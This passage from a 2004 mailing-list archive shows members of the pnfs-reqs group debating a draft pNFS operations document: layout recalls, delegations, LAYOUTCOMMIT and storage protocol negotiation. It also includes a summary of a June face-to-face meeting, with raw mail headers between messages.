legacy READ and WRITE server > operations. Why not? I undertstand there may be specific sub-case that need this restriction (the partial-blocks issue for SAN) but there many cases where this would be a gratuitous hobbling of pnfs. If I have multiple clients that can open the file for write and thus I cannot get a delegation, then presumably I have set up my application to adapt that and thus the ""legacy READ and WRITE server operations. If the server gives me layout information so that I can spread my IO out, all the better. > Yet, it can hold on to the returned layout as long as it > is not recalled so that if a delegation is obtained later with > DELEGASK the client can then use the layout for direct I/O. > ISSUES > Do we want to add a pnfs_storetype to the arguments so clients can > ask for a particular kind of layout (e.g., file vs. object)? Yes. > Do we have to worry about races when this call doesn't get the layout > but asks the server to notify later? Shouldn't we pass some token to > the server that it passes back to us to avoid races? I'm not worried about it but in the case I'm concerned with primarily (i.e. file) the layout is going to be available. > The client is expected to use a SETATTR operation in a compound right > after flushing the delegation in order to set the access and modify > times of the file. In many cases (certainly in the case of a file protocol) it would be easy to update the attributes as the reads and writes are done. I think that at least we should have the option of the LAYOUT telling the client that this is not needed. > 10. Usage Scenarios > > What we need here is a description of common open, close, read, write > interactions and how those work with layout delegations. > > 10.1 Basic Read Scenario > > Client does an OPEN to get an open stateID and open delegation. But he may not get an open delegation and that's fine as far as I'm concerned. > Client does a LAYOUTGET for a range of the file, gets back a map and > layout delegation stateid. > Client uses the storage protocol and the map to access the file. > Client returns the layout delegation with LAYOUTRETURN Why? Has someone recalled it? > Client returns open delegation with DELEGRETURN Again why? > Client closes stateID and open delegation with CLOSE. CLOSE just closes the open file and doesn't do anything about the delegation. If you retain the delegation, there is really no reason to do the close. You can defer that until the delegations is recalled. > 10.2 Read with existing writers > > Client does an OPEN to get an open stateID and open delegation > The file is open for writing elsewhere by different clients and so no > open delegation is returned. > A LAYOUTGET would return an error because there is no open > delegation. Elsewhere you say otherwise: > Typically, LAYOUTGET will be called as part of a compound RPC after > an OPEN operation and results in the client having location > information for the file. If the OPEN does not return a delegation > for the file then the client should not use the layout given to it > for direct I/O but rather call the legacy READ and WRITE server > operations. Yet, it can hold on to the returned layout as long as it > is not recalled so that if a delegation is obtained later with > DELEGASK the client can then use the layout for direct I/O. > Client uses normal READ to get data. Again, don't see why. > Client closes open stateID with CLOSE > 10.3 Read with later conflict > > ClientA does an OPEN to get an open stateID and open delegation. > ClientA does a LAYOUTGET for a range of the file, gets back a map and > layout delegation stateid. > ClientA uses the storage protocol to access the file data. > ClientB opens the file for WRITE > File server issues CB_RECALL to ClientA > ClientA issues DELEGRETURN > File server issues CB_LAYOUTRECALL to ClientA Why? He may do this if he feels the existence of the writer is incompatible with the layout but in a lot cases it will not be. This should not be done gratuitously. > ClientA issues LAYOUTRETURN > 10.4 Read with existing writers and subsequent callback > > ClientA does an OPEN to get an open stateID. > The file is open for writing elsewhere by different clients (clientB) > so no open delegation is returned. > ClientA does a DELEGASK with the notify flag set to get notified when > a delegation may be available. > ClientB closes its use of the file with CLOSE. > Server makes CB_DELEGAVAILABLE to ClientA. > ClientA retries its DELEGASK to get the delegation, then > ClientA does a LAYOUTGET using the open delegation. > (proceed as with other read scenarios) Again, where the layout may compatibly be held by multiple clients then the client should be allowed to use it. Leave it up to the server > 10.6 Large Write Case > > Client does an OPEN to get an open stateID and open delegation. > (loop) > Client does a LAYOUTGET for a range of the file, gets back a map and > layout delegation stateid. > Client does WRITEs to the file using the storage protocol. > Client fills up the range covered by the layout delegation. > Client releases layout with LAYOUTFLUSH, communicating about new EOF > position. > Client does SETATTR to update timestamps > (end loop) One interesting point is that for many forms of layout, the layout corresponding to a very large range will be very short. You might have 64 objects or files, each with a 1 MB strie size and carry that pattern for a file that is PB's or EB's. For blocks, you do have to be prepared to do the loop thing, but in many cases it won't be needed. > Client does a DELEGRETURN Why? > Client does a CLOSE > 10.7 Create with special layout > > Client does a CREATE and a SETATTR that specifies a particular layout > type. > Client gets back an open stateID and open delegation. > (etc) You would do a OPEN and specify initial attributes. > 11.3 Replicated Map > The file data is replicated on N data servers. The map consists of N > tuples. When data is written using this map, it > should be written to N objects in parallel. When data is read, any > component object can be used. > [This map type is controversial because it highlights the issues with > error recovery. Those issues get interesting with any scheme that > employs redundancy.] I'd suggest we have enough ""interesting"" issues without looking for trouble. > 12. Issues > Storage Protocol Negotiation > > Clients may want to negotiate with the metadata server about their > preferred storage protocol, and to find out what storage protocols > the server offers. The server could OPTIONALLY provide a negotiation > operation where the client supplies a list of storage types, and the > server responds with a subset of that list which it supports. Its > devices might not support any of the storage protocols the client > knows. The client could also specify a storage type on the LAYOUTGET > operation so the server could restrict its results appropriately. Yup. > State Ids > > We need to have a discussion of all the NFSv4 state Ids and how the > layout stateID is maintained along with them in a typical server > implementation. > > Open state ID, associated with open owner > Lock state ID, associated with lock owner > Delegation state ID, returned with open delegation > Layout state ID, returned with layout delegation Not sure what there is to discuss here. > Crash recovery > > Need to recover layout delegations in the same way as open > delegations. I haven't thought about this too much, but I'd start with the clients doing the normal reclaim opens we already have, asking for any delegations and layouts they need and go from there. > There is a third component to crash now, which is the data service. > We assume there is an independent recovery protocol with the storage > devices. Do we want to formalize any part of the storage protocol > recovery? I think the issue is whether we want to formalize the protocol between the metadata server and the data servers and if we do we have to addres the recovery aspects of that, but if we don't (and so far noboody has proposed that we do that) then we don't. Am I missing something here? -----Original Message----- From: Brent B. Welch [mailto:bwelch@panasas.com] Sent: Friday, June 04, 2004 12:29 AM To: pnfs-reqs@yahoogroups.com Subject: [pnfs-reqs] draft ops document in prep for June 8 meeting I have uploaded an ops document to the yahoo site so you can review it before the June 8 meeting. If you cannot get to it, drop me an email and I can send you a copy. Yahoo! Groups Links >From andros@citi.umich.edu Mon Jun 07 09:47:54 2004 Return-Path: X-Sender: andros@citi.umich.edu X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 29548 invoked from network); 7 Jun 2004 16:47:53 -0000 Received: from unknown (66.218.66.172) by m22.grp.scd.yahoo.com with QMQP; 7 Jun 2004 16:47:53 -0000 Received: from unknown (HELO citi.umich.edu) (141.211.133.111) by mta4.grp.scd.yahoo.com with SMTP; 7 Jun 2004 16:47:53 -0000 Received: from citi.umich.edu (citi.umich.edu [141.211.133.111]) by citi.umich.edu (Postfix) with ESMTP id 13428207E5; Mon, 7 Jun 2004 12:47:03 -0400 (EDT) X-Mailer: exmh version 2.5 07/13/2001 with version: MH 6.8.3 #74[UCI] To: pnfs-reqs@yahoogroups.com Cc: andros@citi.umich.edu In-reply-to: Your message of ""Fri, 04 Jun 2004 04:29:11 -0000."" Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 07 Jun 2004 12:47:03 -0400 Message-Id: <20040607164703.13428207E5@citi.umich.edu> X-eGroups-Remote-IP: 141.211.133.111 From: ""William A.(Andy) Adamson"" Subject: Re: [pnfs-reqs] draft ops document in prep for June 8 meeting X-Yahoo-Group-Post: member; u=169434965 hi brent yeah, i have yet to figure out how to get docs off the yahoo group service. ;( please send me the ops doc thanks! -->Andy bwelch@panasas.com said: > I have uploaded an ops document to the yahoo site so you can review it > before the June 8 meeting. If you cannot get to it, drop me an email > and I can send you a copy. >From dnoveck@netapp.com Mon Jun 07 09:57:25 2004 Return-Path: X-Sender: Dave.Noveck@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 74292 invoked from network); 7 Jun 2004 16:57:25 -0000 Received: from unknown (66.218.66.166) by m25.grp.scd.yahoo.com with QMQP; 7 Jun 2004 16:57:25 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta5.grp.scd.yahoo.com with SMTP; 7 Jun 2004 16:57:25 -0000 Received: from frejya.corp.netapp.com (frejya [10.57.157.119]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i57GvG8C015739 for ; Mon, 7 Jun 2004 09:57:17 -0700 (PDT) Received: from svlexc01.hq.netapp.com (svlexc01.corp.netapp.com [10.57.156.135]) by frejya.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i57GvGIC014142 for ; Mon, 7 Jun 2004 09:57:16 -0700 (PDT) content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 Date: Mon, 7 Jun 2004 09:57:13 -0700 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [pnfs-reqs] draft ops document in prep for June 8 meeting Thread-Index: AcRMry+g190L/TS6TCSAn/YcGkpJtQAAPWfA To: X-eGroups-Remote-IP: 198.95.226.53 X-eGroups-From: ""Noveck, Dave"" From: ""Noveck, Dave"" Subject: RE: [pnfs-reqs] draft ops document in prep for June 8 meeting X-Yahoo-Group-Post: member; u=44152831 X-Yahoo-Profile: davidnoveck ADVERTISEMENT I had trouble with this too. They've made it so easy it is almost impossible to figure out :-) When you get to the group page for pnfs-reqs, there is a link ""files"" and if you click that you can actually see the thing. -----Original Message----- From: William A.(Andy) Adamson [mailto:andros@citi.umich.edu] Sent: Monday, June 07, 2004 12:47 PM To: pnfs-reqs@yahoogroups.com Cc: andros@citi.umich.edu Subject: Re: [pnfs-reqs] draft ops document in prep for June 8 meeting hi brent yeah, i have yet to figure out how to get docs off the yahoo group service. ;( please send me the ops doc thanks! -->Andy bwelch@panasas.com said: > I have uploaded an ops document to the yahoo site so you can review it > before the June 8 meeting. If you cannot get to it, drop me an email > and I can send you a copy. Yahoo! Groups Links >From bwelch@panasas.com Mon Jun 07 10:30:25 2004 Return-Path: X-Sender: welch@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 4247 invoked from network); 7 Jun 2004 17:30:22 -0000 Received: from unknown (66.218.66.172) by m19.grp.scd.yahoo.com with QMQP; 7 Jun 2004 17:30:22 -0000 Received: from unknown (HELO medlicott.panasas.com) (63.80.58.202) by mta4.grp.scd.yahoo.com with SMTP; 7 Jun 2004 17:30:22 -0000 Received: from panasas.com (welch@localhost) by medlicott.panasas.com (8.11.6/8.11.6) with ESMTP id i57HUAJ21188 for ; Mon, 7 Jun 2004 10:30:10 -0700 Message-Id: <200406071730.i57HUAJ21188@medlicott.panasas.com> X-Authentication-Warning: medlicott.panasas.com: welch owned process doing -bs X-Mailer: exmh version 2.6.4 04/07/2004 with nmh-1.0.4 To: pnfs-reqs@yahoogroups.com In-reply-to: References: Comments: In-reply-to ""Noveck, Dave"" message dated ""Mon, 07 Jun 2004 09:57:13 -0700."" X-URL: http://www.panasas.com/ X-Face: ""HxE|?EnC9fVMV8f70H83&{fgLE.|FZ^$>@Q(yb#N,Eh~N]e&]=> r5~UnRml1:4EglY{9B+ :'wJq$@c_C!l8@<$t,{YUr4K,QJGHSvS~U]H`<+L*x?eGzSk>XH\\W:AK\\j?@?c1o From: Brent Welch Subject: Re: [pnfs-reqs] draft ops document in prep for June 8 meeting X-Yahoo-Group-Post: member; u=169551413 X-Yahoo-Profile: brent_welch_1960 ADVERTISEMENT OK - here is an attached copy. See you tomorrow. >>>""Noveck, Dave"" said: > I had trouble with this too. They've made it so easy it is almost > impossible to figure out :-) > > When you get to the group page for pnfs-reqs, there is a link ""files"" > and if you click that you can actually see the thing. > > -----Original Message----- > From: William A.(Andy) Adamson [mailto:andros@citi.umich.edu] > Sent: Monday, June 07, 2004 12:47 PM > To: pnfs-reqs@yahoogroups.com > Cc: andros@citi.umich.edu > Subject: Re: [pnfs-reqs] draft ops document in prep for June 8 meeting > > > hi brent > > yeah, i have yet to figure out how to get docs off the yahoo group > service. ;( > > please send me the ops doc > > thanks! > -->Andy -- Brent Welch Software Architect, Panasas Inc Delivering the premier storage system for scalable Linux clusters www.panasas.com welch@panasas.com Attachment (not stored) pnfs_6_4.txt Type: text/plain >From pnfs-reqs@yahoogroups.com Tue Jun 08 06:34:54 2004 Return-Path: Received: (qmail 1187 invoked from network); 8 Jun 2004 13:34:53 -0000 Received: from unknown (66.218.66.167) by m22.grp.scd.yahoo.com with QMQP; 8 Jun 2004 13:34:53 -0000 Received: from unknown (HELO n21.grp.scd.yahoo.com) (66.218.66.77) by mta6.grp.scd.yahoo.com with SMTP; 8 Jun 2004 13:34:53 -0000 X-eGroups-Return: notify@yahoogroups.com Received: from [66.218.67.147] by n21.grp.scd.yahoo.com with NNFMP; 08 Jun 2004 13:33:51 -0000 Received: (qmail 88581 invoked by uid 65534); 8 Jun 2004 13:33:51 -0000 Date: 8 Jun 2004 13:33:51 -0000 Message-ID: <1086701631.797.88578.w27@yahoogroups.com> X-eGroups-Application: files X-Yahoo-Group-Post: system From: pnfs-reqs@yahoogroups.com To: pnfs-reqs@yahoogroups.com Subject: New file uploaded to pnfs-reqs MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 7bit X-eGroups-Remote-IP: 66.218.66.77 Hello, This email message is a notification to let you know that a file has been uploaded to the Files area of the pnfs-reqs group. File : /pNFS Use Cases.ppt Uploaded by : benny_halevy Description : pNFS Use Cases for 2004-06-08 discussion You can access this file at the URL http://groups.yahoo.com/group/pnfs-reqs/files/pNFS%20Use%20Cases.ppt To learn more about file sharing for your group, please visit http://help.yahoo.com/help/us/groups/files Regards, benny_halevy >From pnfs-reqs@yahoogroups.com Tue Jun 08 13:25:00 2004 Return-Path: Received: (qmail 36837 invoked from network); 8 Jun 2004 20:24:59 -0000 Received: from unknown (66.218.66.166) by m21.grp.scd.yahoo.com with QMQP; 8 Jun 2004 20:24:59 -0000 Received: from unknown (HELO n34.grp.scd.yahoo.com) (66.218.66.102) by mta5.grp.scd.yahoo.com with SMTP; 8 Jun 2004 20:24:59 -0000 X-eGroups-Return: notify@yahoogroups.com Received: from [66.218.67.152] by n34.grp.scd.yahoo.com with NNFMP; 08 Jun 2004 20:24:56 -0000 Received: (qmail 15820 invoked by uid 65534); 8 Jun 2004 20:24:56 -0000 Date: 8 Jun 2004 20:24:56 -0000 Message-ID: <1086726296.891.15816.w31@yahoogroups.com> X-eGroups-Application: files X-Yahoo-Group-Post: system From: pnfs-reqs@yahoogroups.com To: pnfs-reqs@yahoogroups.com Subject: New file uploaded to pnfs-reqs MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 7bit X-eGroups-Remote-IP: 66.218.66.102 ADVERTISEMENT Hello, This email message is a notification to let you know that a file has been uploaded to the Files area of the pnfs-reqs group. File : /pNFS-June7-reqs-slides.ppt Uploaded by : brent_welch_1960 Description : requirements discussion June 7 You can access this file at the URL http://groups.yahoo.com/group/pnfs-reqs/files/pNFS-June7-reqs-slides.ppt To learn more about file sharing for your group, please visit http://help.yahoo.com/help/us/groups/files Regards, brent_welch_1960 >From dnoveck@netapp.com Tue Jun 08 13:48:51 2004 Return-Path: X-Sender: Dave.Noveck@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 92671 invoked from network); 8 Jun 2004 20:48:50 -0000 Received: from unknown (66.218.66.166) by m24.grp.scd.yahoo.com with QMQP; 8 Jun 2004 20:48:50 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta5.grp.scd.yahoo.com with SMTP; 8 Jun 2004 20:48:49 -0000 Received: from frejya.corp.netapp.com (frejya [10.57.157.119]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i58Kml8C027243 for ; Tue, 8 Jun 2004 13:48:47 -0700 (PDT) Received: from svlexc01.hq.netapp.com (svlexc01.corp.netapp.com [10.57.156.135]) by frejya.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i58KmkIC027745 for ; Tue, 8 Jun 2004 13:48:47 -0700 (PDT) content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 Date: Tue, 8 Jun 2004 13:48:42 -0700 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [pnfs-reqs] New file uploaded to pnfs-reqs Thread-Index: AcRNlq//cTCsmXTSRHCV7HCDPenUhwAAOtNg To: X-eGroups-Remote-IP: 198.95.226.53 X-eGroups-From: ""Noveck, Dave"" From: ""Noveck, Dave"" Subject: RE: [pnfs-reqs] New file uploaded to pnfs-reqs X-Yahoo-Group-Post: member; u=44152831 X-Yahoo-Profile: davidnoveck Some typos. Slide 2: Principal goals: minor extension of NFSv4 Principal goals: scalable bandwidth & capacity Slide 3: Orthogonal and complementary to RDMA Slide 4: Referrals are intended for other purposes; it should not be necessary for referrals to be used to get high performance Slide 9 (this seems wrong but I don't know how to fix it): Must not require changes in existing internet infrastructure include NFSv4, with the exception of extensions to NFSv4 Slide 10: Files and filesystems should be manageable through the NFSv4 server w/o necessity for direct client access to storage; although storage management may be used on storage in accordance with normal procedures under NFSv4 Slide 11: Scope of client trust (what can it get to with a layout) should be well documented and as constrainted to layout delegation as is possible cost-effectively Slide 14: Orthogonal and complementary to transport improvements (RDMA) NFS extensions for control & consistency of metadata, not meaning -----Original Message----- From: pnfs-reqs@yahoogroups.com [mailto:pnfs-reqs@yahoogroups.com] Sent: Tuesday, June 08, 2004 4:25 PM To: pnfs-reqs@yahoogroups.com Subject: [pnfs-reqs] New file uploaded to pnfs-reqs Hello, This email message is a notification to let you know that a file has been uploaded to the Files area of the pnfs-reqs group. File : /pNFS-June7-reqs-slides.ppt Uploaded by : brent_welch_1960 Description : requirements discussion June 7 You can access this file at the URL http://groups.yahoo.com/group/pnfs-reqs/files/pNFS-June7-reqs-slides.ppt To learn more about file sharing for your group, please visit http://help.yahoo.com/help/us/groups/files Regards, brent_welch_1960 Yahoo! Groups Links >From bwelch@panasas.com Fri Jun 11 17:18:27 2004 Return-Path: X-Sender: welch@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 59406 invoked from network); 12 Jun 2004 00:18:26 -0000 Received: from unknown (66.218.66.172) by m22.grp.scd.yahoo.com with QMQP; 12 Jun 2004 00:18:26 -0000 Received: from unknown (HELO medlicott.panasas.com) (63.80.58.202) by mta4.grp.scd.yahoo.com with SMTP; 12 Jun 2004 00:18:26 -0000 Received: from panasas.com (welch@localhost) by medlicott.panasas.com (8.11.6/8.11.6) with ESMTP id i5C0IQO19920 for ; Fri, 11 Jun 2004 17:18:26 -0700 Message-Id: <200406120018.i5C0IQO19920@medlicott.panasas.com> X-Authentication-Warning: medlicott.panasas.com: welch owned process doing -bs X-Mailer: exmh version 2.6.4 04/07/2004 with nmh-1.0.4 To: pnfs-reqs@yahoogroups.com In-reply-to: References: Comments: In-reply-to ""Brent B. Welch"" message dated ""Fri, 04 Jun 2004 04:29:11 -0000."" X-URL: http://www.panasas.com/ X-Face: ""HxE|?EnC9fVMV8f70H83&{fgLE.|FZ^$>@Q(yb#N,Eh~N]e&]=> r5~UnRml1:4EglY{9B+ :'wJq$@c_C!l8@<$t,{YUr4K,QJGHSvS~U]H`<+L*x?eGzSk>XH\\W:AK\\j?@?c1o From: Brent Welch Subject: Re: [pnfs-reqs] draft ops document in prep for June 8 meeting X-Yahoo-Group-Post: member; u=169551413 X-Yahoo-Profile: brent_welch_1960 FYI - I promised an updated ops document that reflects what we talked about on Tuesday. I have a draft completed but need to review it a bit more before circulating it. -- Brent Welch Software Architect, Panasas Inc Delivering the premier storage system for scalable Linux clusters www.panasas.com welch@panasas.com >From andros@citi.umich.edu Mon Jun 14 08:27:33 2004 Return-Path: X-Sender: andros@citi.umich.edu X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 97373 invoked from network); 14 Jun 2004 15:27:32 -0000 Received: from unknown (66.218.66.216) by m20.grp.scd.yahoo.com with QMQP; 14 Jun 2004 15:27:32 -0000 Received: from unknown (HELO citi.umich.edu) (141.211.133.111) by mta1.grp.scd.yahoo.com with SMTP; 14 Jun 2004 15:27:32 -0000 Received: from citi.umich.edu (citi.umich.edu [141.211.133.111]) by citi.umich.edu (Postfix) with ESMTP id 4F0C020844; Mon, 14 Jun 2004 11:27:12 -0400 (EDT) X-Mailer: exmh version 2.5 07/13/2001 with version: MH 6.8.3 #74[UCI] To: pnfs-reqs@yahoogroups.com Cc: bwickman@umich.edu Mime-Version: 1.0 Content-Type: multipart/mixed ; boundary=""==_Exmh_1223277690"" Date: Mon, 14 Jun 2004 11:27:12 -0400 Message-Id: <20040614152712.4F0C020844@citi.umich.edu> X-eGroups-Remote-IP: 141.211.133.111 From: ""William A.(Andy) Adamson"" Subject: Scribes notes from the pNFS meeting at CITI X-Yahoo-Group-Post: member; u=169434965 Thanks to brian for taking notes. -->Andy Attachment (not stored) minutes-6-8-2004.pNFS Type: text/plain >From bwelch@panasas.com Thu Jun 17 18:15:55 2004 Return-Path: X-Sender: welch@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 37691 invoked from network); 18 Jun 2004 01:15:54 -0000 Received: from unknown (66.218.66.218) by m3.grp.scd.yahoo.com with QMQP; 18 Jun 2004 01:15:54 -0000 Received: from unknown (HELO medlicott.panasas.com) (63.80.58.202) by mta3.grp.scd.yahoo.com with SMTP; 18 Jun 2004 01:15:54 -0000 Received: from panasas.com (welch@localhost) by medlicott.panasas.com (8.11.6/8.11.6) with ESMTP id i5I1Fq118244 for ; Thu, 17 Jun 2004 18:15:52 -0700 Message-Id: <200406180115.i5I1Fq118244@medlicott.panasas.com> X-Authentication-Warning: medlicott.panasas.com: welch owned process doing -bs X-Mailer: exmh version 2.6.4 06/14/2004 with nmh-1.0.4 To: pnfs-reqs@yahoogroups.com X-URL: http://www.panasas.com/ X-Face: ""HxE|?EnC9fVMV8f70H83&{fgLE.|FZ^$>@Q(yb#N,Eh~N]e&]=> r5~UnRml1:4EglY{9B+ :'wJq$@c_C!l8@<$t,{YUr4K,QJGHSvS~U]H`<+L*x?eGzSk>XH\\W:AK\\j?@?c1o From: Brent Welch Subject: summary of June face-to-face X-Yahoo-Group-Post: member; u=169551413 X-Yahoo-Profile: brent_welch_1960 ADVERTISEMENT Here is a summary of where I think we are. I've been updating the draft document, but I think it'll be more clear to chart out the decisions we (may have) made and review some of the issues we (may have) closed. I'm sure you won't hesitate to chime in if I've got something wrong. The scribe's notes were a great help. I will see what sort of discussion ensues from this and then send out an updated version of the draft. Terminology We went over some standardized terminology first, and I think it will be helpful if we stick with these terms: ""Layout"" implies ""layout delegation"" but we try not to actually use the d-word when talking about layouts to avoid confusion with the existing delegation mechanism in NFSv4. When a client gets a layout, it also gets a promise from the service to recall that layout when it must no longer use it. (More on this later) ""Storage Device"" is what the client uses to get the data when bypassing the NFS server. Previous terms this should replace include ""Data Server"" and ""Device"" and ""Storage Server"". ""Storage Protocol"" is the network protocol the client uses when talking to the Storage Device. ""Storage Management Protocol"" is the protocol between the NFSv4 server and the Storage Device, which is not specified in our protocol spec, but a private channel used for management purposes. Layouts and Data Delegations The most central issue we discussed was decoupling layouts from the existing data delegations. While this makes some nervous, I think it makes a good deal of sense because the existing delegations are about reducing open/close traffic and allowing clients to give out byte range locks. By keeping layout information orthogonal and independent from data delegations things are simpler. Most arguments about trying to leverage data delegations are really concerns about client cache consistency during concurrent access. However, for our target application (high bandwidth access to a file from multiple storage devices), the issues of cache consistency are orthogonal. Server Control over Conflicting Layouts That said, there are still cases where a server may want to enforce strict access control to clients that are using layouts, and so the server can still recall layouts as necessary to support that. We discussed the notion of a ""shared"" vs. ""exclusive"" layout and letting the client hint to the server about what kind of layout it wants. (We talked at length about this today during the conference call.) I think this is the gist of the current proposal: Client does open to get a state ID. LAYOUTGET has an open_stateID argument, plus a ""sharing_token_id"" argument. (that's a bad name for it, what did we use this morning?) There are three possibilities for the sharing token, strict, don't care, and a group identifier. The idea is that if you pass in strict (e.g. 0x1) then the server does not issue conflicting/overlapping layouts to different clients. If you pass in don't care (e.g., 0x0) then the server can do whatever it wants. If you pass in some other value, then it represents the client's identifier for a cooperating set of applications that don't mind getting overlapping layout information because they are asserting they provide an external synchronization mechanism. Finally, in any case a client *must* honor a layout recall and stop using it - it must blindly follow directions. In particular, if a client asked for a ""dont' care"" but the server wanted to be strict, it still could. Layout Commit We also decided to rename LAYOUTFLUSH to LAYOUTCOMMIT to better reflect its meaning. This operation pushes new EOF information to the server and ensures that other clients will see new data that has been written, especially data past the end of file. There is still LAYOUTRETURN that gives back the layout information. One way to think about this is that the client will make a LAYOUTCOMMIT whenever it would make a COMMIT. But COMMIT doesn't apply, of course, because the client has not been writing data to the NFS server, but directly to storage. Callbacks and pending callbacks The draft-00 had a notion of a pending callback and a notification that a layout was available. We think we can live without this. Instead, the server just gives out layouts and recalls them. If a client does not get a layout, then it retries later, or it uses regular READ/WRITE operations through the server instead. When the server recalls a layout the client may have to complete some I/O requests (storage writes). We have not yet decided if the client responds to the recall immediately, then does its writes, and finishes up with LAYOUTRETURN, or it does the I/O and the LAYOUTRETURN before replying to the CB_LAYOUTRECALL Storage Protocol Negotiation The client needs to be able to ask for particular kinds of layouts that involve particular storage protocols. The LAYOUTGET operation will include a storage protocol type, and the server will fail to return a layout if it cannot give it that type. We discussed variations on this scheme where the client supplies a list of possibilities and the server returns the first one it supports. We had a lengthy discussion about whether it is possible to do this negotiation for the whole filesystem first, but rejected that approach because different files might be available through different storage protocols. I believe we postulated an attribute on the file that identified the ""preferred"" storage protocol that a client could use to access that file. Relation to share mode reservations Open-time share mode locks (i.e., share reservations) came up in the discussion, but I'm pretty sure they are completely orthogonal to layouts. Relation to byte range locks Much discussion about this, see above. Advisory locks are orthogonal to layout information. *However*, if a server is implementing mandatory locks, then it really must recall layouts that would allow conflicting I/O. Ignoring mandatory locks, advisory byte range locks are a nice complement to layouts because they provide a way for clients that have overlapping layout information to synchronize their access. Because there is no ""lock recall"", clients that synchronize this way must be prompt about releasing write locks. Interactions with legacy reads and writes We only touched on this, but to me the best way to think about this is that the NFS server can be thought of as a peer to the clients. It must be using the same sort of layout information to access the storage (unless it happens to be the storage device), so we can apply the same rules about conflicting layouts to the server. Each WRITE, for example, is as if the NFS server is doing a LAYOUTGET for that file. Depending on what sort of consistency the server and its clients want affects whether or not that WRITE causes the server to recall layouts. We need to discuss this more. Error recovery (server or client crash) If the server crashes, then the clients need to get their layouts after it restarts. This needs to be described in the draft doc. GETDEVINFO I think we can chuck all the GETDEVINFO and GETDEVLIST from the protocol. That was about mapping from a compact device ID to the full addressing information. This is private to the storage protocol. There may be some additional message traffic between the client and the NFS server, but for now we can assume that layouts specify storage devices with something like struct pnfs_devaddr4 { string r_netid<>; /* network ID */ string r_addr<>; /* universal address */ } I know you can put IP addr/port information here, and we should be able to put universal SCSI device addresses in there, too. DELEGASK / DELEGRETURN We think this is an orthogonal NFSv4 extension (dubbed ""c-NFS"" for cache-coherent NFS) that would all a more sophisticated cache consistency implementation. This is likely to be controversial and we think we can get most of the value prop of pNFS without this. Summary I think this boils it down to LAYOUTGET, LAYOUTCOMMIT, and LAYOUTRETURN, with some negotiation about preferred storage protocols and the kind of sharing the client and server expect. -- Brent Welch Software Architect, Panasas Inc Delivering the premier storage system for scalable Linux clusters www.panasas.com welch@panasas.com >From dhildebz@eecs.umich.edu Fri Jun 18 08:46:58 2004 Return-Path: X-Sender: dhildebz@eecs.umich.edu X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 35376 invoked from network); 18 Jun 2004 15:46:57 -0000 Received: from unknown (66.218.66.172) by m24.grp.scd.yahoo.com with QMQP; 18 Jun 2004 15:46:57 -0000 Received: from unknown (HELO willow.eecs.umich.edu) (141.213.4.14) by mta4.grp.scd.yahoo.com with SMTP; 18 Jun 2004 15:46:56 -0000 Received: from willow.eecs.umich.edu (localhost.eecs.umich.edu [127.0.0.1]) by willow.eecs.umich.edu (8.12.11/8.12.11) with ESMTP id i5IFks2E002573 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 18 Jun 2004 11:46:56 -0400 Received: from localhost (dhildebz@localhost) by willow.eecs.umich.edu (8.12.11/8.12.11/Submit) with ESMTP id i5IFkshS002570 for ; Fri, 18 Jun 2004 11:46:54 -0400 X-Authentication-Warning: willow.eecs.umich.edu: dhildebz owned process doing -bs Date: Fri, 18 Jun 2004 11:46:54 -0400 (EDT) To: pnfs-reqs@yahoogroups.com In-Reply-To: <200406180115.i5I1Fq118244@medlicott.panasas.com> Message-ID: References: <200406180115.i5I1Fq118244@medlicott.panasas.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=iso-8859-1 Content-Transfer-Encoding: QUOTED-PRINTABLE X-eGroups-Remote-IP: 141.213.4.14 From: Dean Hildebrand Subject: Re: [pnfs-reqs] summary of June face-to-face X-Yahoo-Group-Post: member; u=169352062 X-Yahoo-Profile: seattleplus This is great, thanks to Brian and Brent. > Callbacks and pending callbacks > > The draft-00 had a notion of a pending callback and a notification > that a layout was available. We think we can live without this. > Instead, the server just gives out layouts and recalls them. If > a client does not get a layout, then it retries later, or it uses > regular READ/WRITE operations through the server instead. Just to understand this a little better, are we essentially adding additional functionality to existing parallel file systems with the ability for the client to write to the NFS server? Is it true that in existing parallel file systems, if a client requests a conflicting byte range (assuming the client cares about conflicts) it is essentially halted until the conflict is resolved? > Storage Protocol Negotiation > > The client needs to be able to ask for particular kinds of layouts > that involve particular storage protocols. The LAYOUTGET operation > will include a storage protocol type, and the server will fail to > return a layout if it cannot give it that type. > > We discussed variations > on this scheme where the client supplies a list of possibilities and > the server returns the first one it supports. We had a lengthy > discussion about whether it is possible to do this negotiation for > the whole filesystem first, but rejected that approach > because different files might be available through different storage > protocols. I believe we postulated an attribute on the file that > identified the ""preferred"" storage protocol that a client could > use to access that file. I'm wondering if this is unecessary. If a file exists then the preferred type of file system for access must be available (otherwise who is storing the file?). Using the attribute idea, the client requests the attribute and if it has a I/O module to support that 